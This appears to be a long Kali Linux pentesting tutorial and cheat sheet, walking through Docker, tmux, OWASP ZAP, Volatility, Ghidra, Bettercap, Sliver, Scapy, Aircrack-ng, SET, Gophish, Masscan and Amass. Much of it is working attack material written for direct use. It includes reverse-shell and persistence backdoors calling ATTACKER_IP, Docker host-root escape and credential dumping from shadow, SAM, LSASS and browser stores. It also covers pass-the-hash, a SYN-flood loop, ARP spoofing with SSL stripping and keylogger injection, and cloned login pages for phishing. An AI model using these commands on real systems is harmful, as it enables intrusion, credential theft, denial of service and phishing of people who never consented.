# Check if inside Docker container: cat /proc/1/cgroup | grep docker ls -la /.dockerenv # If exists: You're in container! # List Docker containers (if you have access): docker ps docker ps -a # -a: All containers (running + stopped) # List Docker images: docker images # Inspect container: docker inspect CONTAINER_ID # Shows: Volumes, networks, environment variables (SECRETS!)
Docker Privilege Escalation
# If you have Docker access AND in 'docker' group: docker run -v /:/mnt --rm -it alpine chroot /mnt sh # Mounts: Host's root (/) to /mnt in container # chroot /mnt: Change root to host filesystem # Result: ROOT access to HOST! # Alternative with Ubuntu: docker run -v /:/hostfs --rm -it ubuntu bash # Access host: cd /hostfs # WHY THIS WORKS: # Docker daemon runs as root # 'docker' group = root equivalent! # Mounting host filesystem = full access
Docker Secrets Extraction
# Check environment variables: docker inspect CONTAINER_ID | grep -i env # Often contains: Database passwords, API keys # Extract Docker secrets: docker exec CONTAINER_ID cat /run/secrets/SECRET_NAME # Check Docker volumes: docker volume ls docker volume inspect VOLUME_NAME # Shows: Mount point on host

Tmux & Screen (Terminal Multiplexers)

Why? Long-running scans, persistent shells, and multitasking! Essential for managing multiple sessions during pentests.

Tmux Basics
# Start tmux: tmux # Detach from session (keeps running): Ctrl+b, then d # List sessions: tmux ls # Reattach to session: tmux attach -t 0 # -t 0: Session number # Create named session: tmux new -s pentest tmux attach -t pentest # Split horizontally: Ctrl+b, then " # Split vertically: Ctrl+b, then % # Switch between panes: Ctrl+b, then arrow keys # Close pane: Ctrl+d # WHY USE: # Start nmap scan in tmux → detach → SSH session drops → scan continues! # Reattach later: tmux attach → see results!
Screen Basics
# Start screen: screen # Detach: Ctrl+a, then d # List sessions: screen -ls # Reattach: screen -r # Create named session: screen -S pentest screen -r pentest # Create new window: Ctrl+a, then c # Switch windows: Ctrl+a, then n (next) Ctrl+a, then p (previous) # Kill session: screen -X -S SESSION_ID kill

OWASP ZAP (THE Open-Source Web Proxy)

What is OWASP ZAP? ZAP (Zed Attack Proxy) is an open-source alternative to Burp Suite Pro. It's 100% FREE, has automated scanners, fuzzing, spidering, and API testing. Perfect for web app pentesting!

Why ZAP? Completely FREE (no limitations!), active scanner (automatic vulnerability detection), REST API (automation!), integrates with CI/CD, and constantly updated by OWASP community!

Installation & Setup
# Install (pre-installed in Kali): sudo apt install zaproxy # Or download from: # https://www.zaproxy.org/download/ # Start ZAP: zaproxy # OR: zap.sh # GUI opens automatically # Configure browser to use ZAP proxy: # Firefox → Settings → Network → Manual proxy # HTTP Proxy: 127.0.0.1 # Port: 8080
ZAP Quick Scan
# Automated Scan mode (easiest!): # 1. Open ZAP # 2. Quick Start tab → "Automated Scan" # 3. Enter URL: http://target.com # 4. Click "Attack" # 5. Wait for results # ZAP will: # - Spider website (discover pages) # - Active scan (test for vulnerabilities) # - Report findings (SQLi, XSS, etc.)
Manual Testing with ZAP
# Manual Explore mode: # 1. Configure browser to use ZAP proxy (127.0.0.1:8080) # 2. Browse target website normally # 3. ZAP captures ALL requests # 4. Right-click request → "Attack" → "Active Scan" # 5. OR: Right-click parameter → "Fuzz" # Fuzzing: # Right-click parameter value → Fuzz # Select payload: SQLi, XSS, File paths, etc. # Start fuzzer → see responses # Repeater (like Burp Repeater): # Right-click request → "Open/Resend with Request Editor" # Modify request → Send # Compare responses
ZAP API (Automation)
# ZAP API (for scripting): # Enable API: Tools → Options → API # Start ZAP in daemon mode (no GUI): zap.sh -daemon -port 8080 -config api.key=YOUR_API_KEY # Spider website via API: curl "http://localhost:8080/JSON/spider/action/scan/?url=http://target.com&apikey=YOUR_API_KEY" # Active scan via API: curl "http://localhost:8080/JSON/ascan/action/scan/?url=http://target.com&apikey=YOUR_API_KEY" # Get alerts (vulnerabilities): curl "http://localhost:8080/JSON/core/view/alerts/?apikey=YOUR_API_KEY" # Python ZAP API: pip install python-owasp-zap-v2.4 from zapv2 import ZAPv2 zap = ZAPv2(apikey='YOUR_API_KEY', proxies={'http': 'http://127.0.0.1:8080'}) zap.spider.scan('http://target.com') zap.ascan.scan('http://target.com')
ZAP vs Burp Suite
# ZAP Advantages: # ✅ 100% FREE (no limits!) # ✅ Automated active scanner (free!) # ✅ REST API (automation friendly) # ✅ Open source # ✅ CI/CD integration # Burp Suite Advantages: # ✅ Better UI/UX # ✅ More extensions # ✅ Better Repeater/Intruder # ✅ Collaborator (out-of-band testing) # ✅ Industry standard # RECOMMENDATION: # Learning/Budget: Use ZAP (free!) # Professional: Use Burp Suite Pro # Automation: Use ZAP API # Manual testing: Use Burp Suite

🎯 SSH/Docker/Tmux/ZAP Cheat Sheet

Essential tools for advanced pentesting:

SSH Tunneling:
• Local forward: ssh -L 8080:10.10.10.50:80 user@jumpbox
• Remote forward: ssh -R 4444:localhost:4444 user@jumpbox
• SOCKS proxy: ssh -D 1080 user@jumpbox
• Background: ssh -fN -D 1080 user@jumpbox

Docker Privilege Escalation:
• docker run -v /:/mnt --rm -it alpine chroot /mnt sh
• Requirement: User in 'docker' group
• Result: Root access to host!

Tmux:
• Start: tmux
• Detach: Ctrl+b, d
• Reattach: tmux attach
• Split: Ctrl+b, " (horizontal) or Ctrl+b, % (vertical)

OWASP ZAP:
• Quick scan: GUI → Quick Start → Automated Scan → Enter URL
• Manual: Configure browser proxy (127.0.0.1:8080) → Browse site → Right-click → Attack
• API: zap.sh -daemon -port 8080

Pro Tips:
• SSH tunneling works EVERYWHERE (universal pivoting!)
• Use tmux for long-running scans (survives disconnects)
• Docker group = root (always check!)
• ZAP is FREE Burp Suite Pro alternative
• Chain SSH tunnels for multi-hop pivoting

Master these = Master advanced pentesting! 🎯🚀

Additional Essential Tools (Quick Reference)

Netcat Alternatives & Modern Tools
# Pwncat (modern netcat): pip3 install pwncat-cs pwncat-cs -l 4444 # Features: Auto-stabilize shells, file upload/download, privilege escalation suggestions # Ncat (nmap's netcat): ncat -lvnp 4444 --ssl # Built-in SSL encryption! # Rlwrap (readline wrapper for better shells): rlwrap nc -lvnp 4444 # Adds: Arrow keys, history, tab completion to shells
Web Shells & Backdoors
# PHP web shell (simple): # Usage: http://target.com/shell.php?cmd=whoami # PHP reverse shell (PentestMonkey): # Download: https://github.com/pentestmonkey/php-reverse-shell # Edit: $ip = 'ATTACKER_IP'; $port = 4444; # Upload to target → access URL → get shell! # Weevely (PHP backdoor with encrypted C2): weevely generate password shell.php weevely http://target.com/shell.php password # Encrypted backdoor (hard to detect!) # Laudanum (collection of web shells): # Location: /usr/share/laudanum/ # Includes: PHP, ASP, ASPX, JSP shells
Credential Dumping (Quick Methods)
# Linux: # /etc/shadow (password hashes): sudo cat /etc/shadow # Crack with: john --wordlist=rockyou.txt shadow # SSH keys: cat ~/.ssh/id_rsa cat /home/*/.ssh/id_rsa # Use: ssh -i id_rsa user@target # Browser passwords (Linux): # Firefox: ~/.mozilla/firefox/*.default/logins.json # Chrome: ~/.config/google-chrome/Default/Login Data # Windows: # SAM & SYSTEM (password hashes): reg save HKLM\SAM C:\Temp\sam.hive reg save HKLM\SYSTEM C:\Temp\system.hive # Extract with: impacket-secretsdump -sam sam.hive -system system.hive LOCAL # LSASS dump (without Mimikatz): # Task Manager → Find lsass.exe → Right-click → Create dump file # Extract offline: pypykatz lsa minidump lsass.dmp # Windows credentials (various locations): # C:\Users\*\AppData\Local\Microsoft\Credentials\ # C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
Privilege Escalation Quick Checks
# Linux: # Check sudo: sudo -l # SUID binaries: find / -perm -4000 2>/dev/null # Writable /etc/passwd: ls -la /etc/passwd # If writable: Add root user! # Cron jobs: cat /etc/crontab ls -la /etc/cron.* # Kernel exploits: uname -a searchsploit "Linux Kernel $(uname -r)" # Windows: # Check privileges: whoami /priv # Look for: SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege → Potato exploits! # Unquoted service paths: wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i /v """ # AlwaysInstallElevated: reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # If enabled: Create MSI payload → install as admin! # Stored credentials: cmdkey /list # Use: runas /savecred /user:admin cmd.exe
Lateral Movement Quick Methods
# Pass-the-Hash (Linux): # With evil-winrm: evil-winrm -i 192.168.1.50 -u administrator -H NTLM_HASH # With impacket: impacket-psexec administrator@192.168.1.50 -hashes :NTLM_HASH # RDP with hash: xfreerdp /u:administrator /pth:NTLM_HASH /v:192.168.1.50 # WMI execution: impacket-wmiexec administrator:password@192.168.1.50 # PSExec (Windows): PsExec.exe \\192.168.1.50 -u administrator -p password cmd.exe # WinRM (PowerShell): Enter-PSSession -ComputerName 192.168.1.50 -Credential (Get-Credential)
Persistence Quick Methods
# Linux: # SSH key: mkdir ~/.ssh echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # Connect: ssh -i your_private_key user@target # Cron job: (crontab -l 2>/dev/null; echo "@reboot nc ATTACKER_IP 4444 -e /bin/bash") | crontab - # .bashrc backdoor: echo "nc ATTACKER_IP 4444 -e /bin/bash &" >> ~/.bashrc # Windows: # Registry Run key: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" # Scheduled task: schtasks /create /tn "Windows Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru System # Service: sc create Backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto sc start Backdoor

🎯 Ultimate Pentesting Command Reference

Your go-to cheat sheet for common tasks:

Shells:
• Reverse: nc -lvnp 4444 (attacker) + nc ATTACKER_IP 4444 -e /bin/bash (victim)
• Stabilize: python -c 'import pty;pty.spawn("/bin/bash")'
• Upgrade: Ctrl+Z → stty raw -echo; fg → export TERM=xterm

File Transfer:
• HTTP: python3 -m http.server 80 + wget http://ATTACKER_IP/file
• Netcat: nc -lvnp 4444 > file + nc ATTACKER_IP 4444 < file
• Base64: cat file | base64 → copy → echo BASE64 | base64 -d > file

Privilege Escalation:
• Linux: sudo -l, find / -perm -4000 2>/dev/null
• Windows: whoami /priv, check SeImpersonate → Potato

Lateral Movement:
• Pass-the-Hash: evil-winrm -i IP -u USER -H HASH
• PSExec: impacket-psexec USER:PASS@IP
• WMI: impacket-wmiexec USER:PASS@IP

Persistence:
• Linux SSH: echo PUBKEY >> ~/.ssh/authorized_keys
• Windows Run: reg add HKCU\...\Run /v Backdoor /d payload.exe
• Cron: (crontab -l; echo "@reboot nc IP 4444 -e /bin/bash") | crontab -

YOU ARE NOW A KALI LINUX MASTER! 🏆🔥

Volatility (THE Memory Forensics Framework)

What is Volatility? Volatility is THE industry-standard memory forensics framework for analyzing RAM dumps. It extracts: running processes, network connections, passwords in memory, malware artifacts, hidden processes, and MORE! Essential for incident response and malware analysis!

Why Volatility? It's the STANDARD for memory forensics (used by FBI, NSA, Fortune 500), supports 100+ analysis plugins, works on Windows/Linux/Mac memory dumps, finds hidden rootkits, and can recover deleted data from RAM!

Installation & Basic Usage
# Install Volatility 3 (latest): pip3 install volatility3 # Or use Volatility 2 (still widely used): sudo apt install volatility # Analyze memory dump: vol -f memory.dump windows.info # -f: Memory dump file # windows.info: Plugin to run # Identify OS profile (Volatility 2): volatility -f memory.dump imageinfo # Shows: Suggested profiles (Win7SP1x64, WinXP, etc.)
Essential Volatility Plugins
# List running processes: vol -f memory.dump windows.pslist # Shows: All processes (PID, name, parent PID) # Find hidden processes: vol -f memory.dump windows.psscan # Detects: Processes hidden by rootkits! # Process tree: vol -f memory.dump windows.pstree # Shows: Parent-child relationships # Network connections: vol -f memory.dump windows.netscan # Shows: Active connections, listening ports # Command line arguments: vol -f memory.dump windows.cmdline # Reveals: How processes were launched # DLL list for process: vol -f memory.dump windows.dlllist --pid 1234 # Shows: Loaded DLLs (detect injected DLLs!) # Dump process memory: vol -f memory.dump windows.pslist vol -f memory.dump windows.memmap --pid 1234 --dump # Extracts: Executable from memory # Registry hives: vol -f memory.dump windows.registry.hivelist # Shows: Registry hives in memory # Dump specific registry key: vol -f memory.dump windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run" # Shows: Startup programs (persistence!) # Extract files: vol -f memory.dump windows.filescan # Lists: All files in memory vol -f memory.dump windows.dumpfiles --pid 1234 # Dumps: Files opened by process # Passwords in memory (Volatility 2): volatility -f memory.dump --profile=Win7SP1x64 hashdump # Extracts: Password hashes from memory! volatility -f memory.dump --profile=Win7SP1x64 lsadump # Extracts: LSA secrets (plaintext passwords!)
Malware Analysis with Volatility
# Detect injected code: vol -f memory.dump windows.malfind # Finds: Suspicious memory regions (code injection!) # Detect hooks: vol -f memory.dump windows.ssdt # Shows: System Service Descriptor Table hooks (rootkit detection) # Suspicious services: vol -f memory.dump windows.svcscan # Lists: All services # Mutexes (malware indicators): vol -f memory.dump windows.mutantscan # Shows: Mutex objects (unique malware identifiers!) # Timeline analysis: vol -f memory.dump timeliner # Creates: Timeline of all events in memory

Binwalk (THE Firmware Analysis Tool)

What is Binwalk? Binwalk is a firmware analysis tool that extracts embedded files from firmware images. It detects: file signatures, extracts compressed archives, identifies encryption, and MORE! Essential for IoT/embedded device hacking!

Basic Usage
# Install: sudo apt install binwalk # Analyze firmware: binwalk firmware.bin # Shows: Embedded files, offsets, signatures # Extract embedded files: binwalk -e firmware.bin # -e: Extract # Creates: _firmware.bin.extracted/ directory # Recursive extraction: binwalk -Me firmware.bin # -M: Recursively extract # Search for specific file type: binwalk --dd='.*' firmware.bin # Extracts: ALL detected files
Firmware Exploitation Workflow
# 1. Download router firmware: wget http://vendor.com/router_firmware.bin # 2. Analyze with binwalk: binwalk firmware.bin # Found: Compressed filesystem at offset 0x12000 # 3. Extract: binwalk -e firmware.bin # 4. Navigate extracted files: cd _firmware.bin.extracted/ ls # Found: etc/, www/, bin/, usr/ # 5. Search for passwords: grep -r "password" . # Found: etc/config/passwords.txt # 6. Analyze web interface: cd www/ cat login.php # Found: Hardcoded admin password! # 7. Find binaries: cd ../bin/ file * # Check for: SUID binaries, vulnerable services

Ghidra (THE NSA's Reverse Engineering Tool)

What is Ghidra? Ghidra is THE NSA-developed reverse engineering suite - and it's 100% FREE! It decompiles binaries, supports 50+ architectures, has graphical analysis, scripting with Python/Java, and MORE! Think "IDA Pro but free"!

Basic Usage
# Install: # Download from: https://ghidra-sre.org/ # Start Ghidra: ghidraRun # Create new project: # File → New Project → Non-Shared Project # Import binary: # File → Import File → Select executable # Analyze: # Analysis → Auto Analyze → Accept defaults # Wait for analysis to complete # Decompile function: # Symbol Tree → Functions → Double-click function # Window → Decompile # Shows: C-like pseudocode! # WHY THIS MATTERS: # Binary = compiled machine code (unreadable) # Ghidra decompiles to: C pseudocode (READABLE!) # Find: Vulnerabilities, backdoors, logic flaws
Finding Vulnerabilities
# Search for dangerous functions: # Search → For Strings # Look for: strcpy, gets, sprintf (buffer overflow!) # Find main function: # Symbol Tree → Functions → "entry" → Follow calls # Or search: "main" # Cross-references: # Right-click function → References → Find References To # Shows: Where function is called from # Export decompiled code: # File → Export Program → Choose format (C, Java, etc.)

Bettercap (THE Modern MITM Framework)

What is Bettercap? Bettercap is THE modern network attack framework - it does EVERYTHING: ARP spoofing, DNS spoofing, SSL stripping, packet sniffing, credential harvesting, and MORE! Think "Ettercap on steroids"!

Installation & Setup
# Install: sudo apt install bettercap # Start interactive mode: sudo bettercap -iface eth0 # -iface: Network interface # Web UI (easier!): sudo bettercap -iface eth0 # In bettercap: » ui.update » http-ui # Access: https://127.0.0.1 (user: admin, pass: pass)
ARP Spoofing (MITM Attack)
# Start bettercap: sudo bettercap -iface eth0 # Discover hosts: » net.probe on » net.show # Shows: All devices on network # ARP spoof (become MITM): » set arp.spoof.targets 192.168.1.50 # Target: Specific victim # OR: » set arp.spoof.targets 192.168.1.0/24 # Target: Entire network » arp.spoof on # Starts ARP spoofing! # Enable packet forwarding: » set net.sniff.verbose false » net.sniff on # Captures all traffic!
Credential Harvesting
# Capture HTTP credentials: » set net.sniff.verbose false » set net.sniff.local true » set net.sniff.filter 'tcp port 80' » net.sniff on # Shows captured credentials in real-time! # DNS spoofing: » set dns.spoof.domains target.com » set dns.spoof.address YOUR_IP » dns.spoof on # Victim visits target.com → redirected to YOUR_IP! # Serve fake page: » set http.server.path /var/www/phishing » http.server on # Victim sees YOUR fake page!
SSL Stripping
# Strip HTTPS → HTTP: » set http.proxy.sslstrip true » http.proxy on # Downgrades: HTTPS → HTTP # Result: Plaintext credentials! # Inject JavaScript: » set http.proxy.script /path/to/inject.js » http.proxy on # Injects: Your JS into every page victim visits!

Ettercap (THE Classic MITM Tool)

Ettercap is the ORIGINAL MITM tool - still powerful for ARP spoofing, packet manipulation, and credential theft!

Basic Usage
# Start GUI: sudo ettercap -G # Start CLI: sudo ettercap -T -M arp:remote /192.168.1.1// /192.168.1.50// # -T: Text mode # -M arp:remote: ARP spoofing # /192.168.1.1//: Gateway # /192.168.1.50//: Victim # Sniff passwords: # Ettercap automatically displays captured credentials! # Packet manipulation: # Plugins → Manage Plugins → dos_attack (DoS) # Plugins → Manage Plugins → remote_browser (hijack sessions)

MITMf (Man-In-The-Middle Framework)

# Install: git clone https://github.com/byt3bl33d3r/MITMf.git cd MITMf pip install -r requirements.txt # Basic MITM: python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 # Inject BeEF hook: python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --inject --js-url http://YOUR_IP:3000/hook.js # SSL strip: python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --hsts # Screenshot victims: python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --screen # Keylog: python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --jskeylogger

Sliver (THE Modern C2 Framework)

What is Sliver? Sliver is a modern Command & Control (C2) framework - the OPEN-SOURCE alternative to Cobalt Strike! It supports: implants, staged payloads, multi-OS support, and evasion techniques. The FUTURE of C2!

Installation & Basic Usage
# Install: curl https://sliver.sh/install | sudo bash # Start Sliver server: sliver-server # Generate implant: sliver > generate --http YOUR_IP --save /tmp/implant.exe # Creates: Windows executable # Start HTTP listener: sliver > http # Execute implant on victim → Beacon calls back! # List sessions: sliver > sessions # Interact with session: sliver > use SESSION_ID # Execute commands: sliver (SESSION) > shell # Interactive shell! sliver (SESSION) > execute whoami sliver (SESSION) > download C:\passwords.txt sliver (SESSION) > upload payload.exe C:\Windows\Temp\
Advanced Features
# Pivoting: sliver (SESSION) > portfwd add --remote 0.0.0.0:8080 --local 127.0.0.1:80 # Forwards victim's port 8080 → your localhost:80 # SOCKS proxy: sliver (SESSION) > socks5 start # Creates SOCKS proxy through victim # Mimikatz: sliver (SESSION) > mimikatz sekurlsa::logonpasswords # Privilege escalation: sliver (SESSION) > getsystem # Auto-escalates to SYSTEM! # Process injection: sliver (SESSION) > migrate PID # Injects into another process

PowerShell Empire / Covenant (C2 Frameworks)

# PowerShell Empire (deprecated but still used): # Focuses on: PowerShell-based post-exploitation # Features: Fileless attacks, credential harvesting, lateral movement # Covenant (modern alternative): # .NET-based C2 # Features: Web UI, task-based architecture, OPSEC safe # Both provide: # - Agent generation (implants) # - Post-exploitation modules # - Credential dumping (Mimikatz) # - Lateral movement # - Privilege escalation # - Persistence mechanisms

🎯 Advanced Tools Cheat Sheet

Memory Forensics, RE, MITM, C2:

Volatility (Memory Forensics):
• vol -f memory.dump windows.pslist - List processes
• vol -f memory.dump windows.netscan - Network connections
• vol -f memory.dump windows.malfind - Detect injection
• Use case: Incident response, malware analysis

Binwalk (Firmware Analysis):
• binwalk firmware.bin - Analyze firmware
• binwalk -Me firmware.bin - Extract files
• Use case: IoT device hacking, router exploitation

Ghidra (Reverse Engineering):
• FREE NSA tool (alternative to IDA Pro!)
• Decompiles binaries → C pseudocode
• Use case: Binary exploitation, malware analysis

Bettercap (Modern MITM):
• bettercap -iface eth0 → arp.spoof on
• Features: ARP spoof, DNS spoof, SSL strip, packet injection
• Use case: Network attacks, credential harvesting

Sliver (Modern C2):
• Open-source Cobalt Strike alternative
• sliver-server → generate --http IP
• Use case: Post-exploitation, red team operations

When to Use Each:
• Volatility: Analyzing memory dumps, finding malware
• Binwalk: Extracting firmware, IoT pentesting
• Ghidra: Reverse engineering binaries, finding vulns
• Bettercap: Network MITM, credential theft
• Sliver: Post-exploitation, maintaining access

These are ADVANCED tools - master basics first! 🎓🔥

Scapy (THE Packet Crafting Framework)

What is Scapy? Scapy is THE Python packet manipulation library - it creates, sends, captures, and analyzes network packets AT WILL! Build custom packets, perform DoS attacks, test firewalls, and MORE! If you can imagine a packet, Scapy can create it!

Installation & Interactive Mode
# Install: sudo apt install scapy python3-scapy # Start interactive mode: sudo scapy # Basic packet creation: >>> packet = IP(dst="10.10.10.50")/TCP(dport=80) >>> send(packet) # Creates: TCP packet to 10.10.10.50:80 # View packet: >>> packet.show() # Shows: All packet fields
Common Scapy Operations
# ICMP ping: >>> packet = IP(dst="10.10.10.50")/ICMP() >>> reply = sr1(packet) # sr1: Send and receive 1 packet # TCP SYN scan: >>> packet = IP(dst="10.10.10.50")/TCP(dport=80, flags="S") >>> reply = sr1(packet) >>> if reply.haslayer(TCP): ... if reply[TCP].flags == 18: # SYN-ACK ... print("Port open!") # ARP scan: >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2) # srp: Send/receive layer 2 packets >>> for snd, rcv in ans: ... print(rcv[Ether].src, rcv[ARP].psrc) # Shows: MAC addresses and IPs # DNS query: >>> packet = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="target.com")) >>> reply = sr1(packet) # Packet capture: >>> packets = sniff(count=10) # Captures: 10 packets >>> packets.summary() # Write packets to file: >>> wrpcap("capture.pcap", packets) # Read packets from file: >>> packets = rdpcap("capture.pcap")
Scapy Attack Scripts
# SYN flood (DoS): from scapy.all import * target = "10.10.10.50" target_port = 80 while True: send(IP(dst=target)/TCP(dport=target_port, flags="S"), verbose=0) # Sends: Endless SYN packets (DoS!) # ARP spoofing: from scapy.all import * victim_ip = "192.168.1.50" gateway_ip = "192.168.1.1" victim_mac = getmacbyip(victim_ip) gateway_mac = getmacbyip(gateway_ip) # Tell victim we're the gateway: send(ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=gateway_ip)) # Tell gateway we're the victim: send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=victim_ip)) # Custom TCP packet: from scapy.all import * packet = (IP(dst="10.10.10.50", ttl=64) / TCP(sport=1234, dport=80, flags="S", seq=12345) / "Custom payload data") send(packet)

Aircrack-ng Suite (THE WiFi Hacking Toolkit)

Quick Refresher: We covered this earlier, but here's a COMPLETE workflow for WiFi pentesting!

Complete WPA2 Cracking Workflow
# 1. Put interface in monitor mode: sudo airmon-ng start wlan0 # Creates: wlan0mon # 2. Scan for networks: sudo airodump-ng wlan0mon # Note: Target BSSID, channel, ESSID # 3. Capture handshake: sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # -c 6: Channel 6 # --bssid: Target access point # -w capture: Output filename # 4. Deauth client (force handshake): # Open NEW terminal: sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # --deauth 10: Send 10 deauth packets # -a: Access point MAC # 5. Wait for "WPA handshake" in airodump-ng # Should see: "WPA handshake: AA:BB:CC:DD:EE:FF" # 6. Crack handshake: sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap # -w: Wordlist # Shows: Password if found! # 7. Stop monitor mode: sudo airmon-ng stop wlan0mon
WEP Cracking (Outdated but Still Used)
# 1. Start monitor mode (same as above) # 2. Capture packets: sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep wlan0mon # 3. Generate traffic (if low): sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF wlan0mon # Injects: ARP packets (speed up capture) # 4. Wait for ~40,000 IVs (data packets) # 5. Crack: sudo aircrack-ng wep-01.cap # WEP is WEAK - cracks in seconds!

Social Engineering Toolkit (SET)

What is SET? The Social Engineering Toolkit automates social engineering attacks: phishing, credential harvesting, payload delivery, and MORE! Human hacking made easy!

Basic Usage
# Start SET: sudo setoolkit # Main menu: # 1) Social-Engineering Attacks # 2) Penetration Testing (Fast-Track) # 3) Third Party Modules # 4) Update the Social-Engineer Toolkit # 5) Update SET configuration # 6) Help, Credits, and About # Common attacks: # Option 1 → Social-Engineering Attacks # Option 2 → Website Attack Vectors # Option 3 → Credential Harvester Attack Method # Option 2 → Site Cloner # Enter target URL (e.g., https://facebook.com) # Enter YOUR IP # SET clones site and hosts on YOUR IP # Victim visits YOUR_IP → enters credentials → YOU capture them!
Creating Payloads with SET
# Main menu: # 1) Social-Engineering Attacks # 4) Create a Payload and Listener # Select: # 2) Windows Reverse_TCP Meterpreter # Enter: YOUR_IP and port (e.g., 4444) # Creates: payload.exe # Start listener: # SET automatically starts Metasploit handler # Deliver payload to victim (email, USB, etc.) # Victim executes → YOU get Meterpreter shell!

Gophish (THE Phishing Framework)

What is Gophish? Gophish is THE professional phishing simulation platform with web UI, campaign management, email templates, landing pages, and detailed reporting! Used by security teams worldwide!

Installation & Setup
# Download: wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip cd gophish-v0.12.1-linux-64bit # Start Gophish: sudo ./gophish # Access web UI: # URL: https://127.0.0.1:3333 # Default: admin / [shown in terminal] # Change admin password: # Settings → Change Password
Creating a Phishing Campaign
# 1. Create Sending Profile: # Sending Profiles → New Profile # SMTP From: noreply@company.com # SMTP Host: smtp.gmail.com:587 # Username: your_email@gmail.com # Password: your_password # 2. Create Email Template: # Email Templates → New Template # Subject: "Important: Reset Your Password" # HTML: Create convincing email with {{.URL}} placeholder # {{.URL}} = tracking link to landing page # 3. Create Landing Page: # Landing Pages → Import Site # URL: https://office365.com (clones Microsoft login!) # Capture Submitted Data: ENABLED # Capture Passwords: ENABLED # 4. Create User Group: # Users & Groups → New Group # Add: Target email addresses # 5. Create Campaign: # Campaigns → New Campaign # Name: "Password Reset Campaign" # Email Template: Select template # Landing Page: Select landing page # Sending Profile: Select profile # Groups: Select target group # Launch: NOW # 6. Monitor Results: # Dashboard shows: Emails sent, opened, clicked, submitted data # Results show: Captured credentials!

Masscan (THE Fastest Port Scanner)

What is Masscan? Masscan is THE fastest port scanner in the world - scans the ENTIRE INTERNET in 6 minutes! Asynchronous TCP/UDP scanning, 10 million packets per second, and MORE!

Basic Usage
# Install: sudo apt install masscan # Scan subnet: sudo masscan 10.10.10.0/24 -p80,443 # Scans: Ports 80 and 443 on entire subnet # FAST: ~10 seconds for /24! # Scan all ports: sudo masscan 10.10.10.50 -p0-65535 # Scans: ALL 65,535 ports # Scan with rate limit: sudo masscan 10.10.10.0/24 -p80 --rate 1000 # --rate 1000: 1000 packets per second # Banner grabbing: sudo masscan 10.10.10.0/24 -p80 --banners # Grabs: Service banners (like nmap -sV) # Output formats: sudo masscan 10.10.10.0/24 -p80,443 -oL scan.txt # -oL: List format sudo masscan 10.10.10.0/24 -p80,443 -oX scan.xml # -oX: XML format sudo masscan 10.10.10.0/24 -p80,443 -oG scan.gnmap # -oG: Greppable format
Masscan vs Nmap
# When to use Masscan: # - Scanning LARGE networks (thousands of hosts) # - Need SPEED (masscan = 100x faster!) # - Initial reconnaissance # - Port discovery only # When to use Nmap: # - Detailed service detection # - OS fingerprinting # - NSE scripts # - Smaller targets (1-100 hosts) # - Accurate results # BEST WORKFLOW: # 1. Masscan for fast port discovery: sudo masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt # 2. Parse results: cat ports.txt | grep "open" | awk '{print $3}' | sort -u > open_ports.txt # 3. Nmap for detailed scan: nmap -sV -sC -p $(cat open_ports.txt | tr '\n' ',') 10.10.10.50 # Result: FAST discovery + DETAILED analysis!

Amass (THE Subdomain Enumeration Tool)

What is Amass? Amass is THE OWASP subdomain enumeration tool - uses 100+ data sources (DNS, APIs, web scraping), performs DNS brute-forcing, discovers ASNs, and MORE! Find ALL subdomains!

Installation & Basic Usage
# Install: sudo apt install amass # Basic enumeration: amass enum -d target.com # Discovers: Subdomains using passive sources # Passive mode (quiet): amass enum -passive -d target.com # Uses: Only public data sources (no DNS queries) # Active mode (aggressive): amass enum -active -d target.com # Performs: DNS brute-force, zone transfers # Brute-force: amass enum -brute -d target.com # Adds: Brute-force subdomain names # Multiple domains: amass enum -d target.com,example.com,site.com
Advanced Features
# Use config file (API keys): amass enum -config ~/.config/amass/config.ini -d target.com # Enables: AlienVault, Censys, Shodan, VirusTotal APIs # Output formats: amass enum -d target.com -o subdomains.txt # Saves: Plain text list amass enum -d target.com -json results.json # Saves: JSON format # Visualize results: amass viz -d3 -d target.com # Creates: D3.js visualization # Track historical data: amass track -d target.com # Monitors: New subdomains over time # Integration with other tools: amass enum -d target.com -o subs.txt cat subs.txt | httpx -silent # httpx: Check which subdomains are alive
Subdomain Takeover Detection
# Find subdomains: amass enum -d target.com -o subs.txt # Check for takeover: cat subs.txt | while read sub; do nslookup $sub | grep -i "NXDOMAIN" && echo "$sub - Potential takeover!" done # Or use subjack: subjack -w subs.txt -t 100 -timeout 30 -o takeovers.txt # Detects: Subdomain takeovers (Heroku, AWS S3, GitHub Pages, etc.)

🎯 Additional Essential Tools Recap

Packet Crafting, WiFi, Social Engineering, Recon:

Scapy (Packet Manipulation):
• Python library for custom packet creation
• packet = IP(dst="10.10.10.50")/TCP(dport=80)
• Use case: Custom attacks, firewall testing, protocol fuzzing
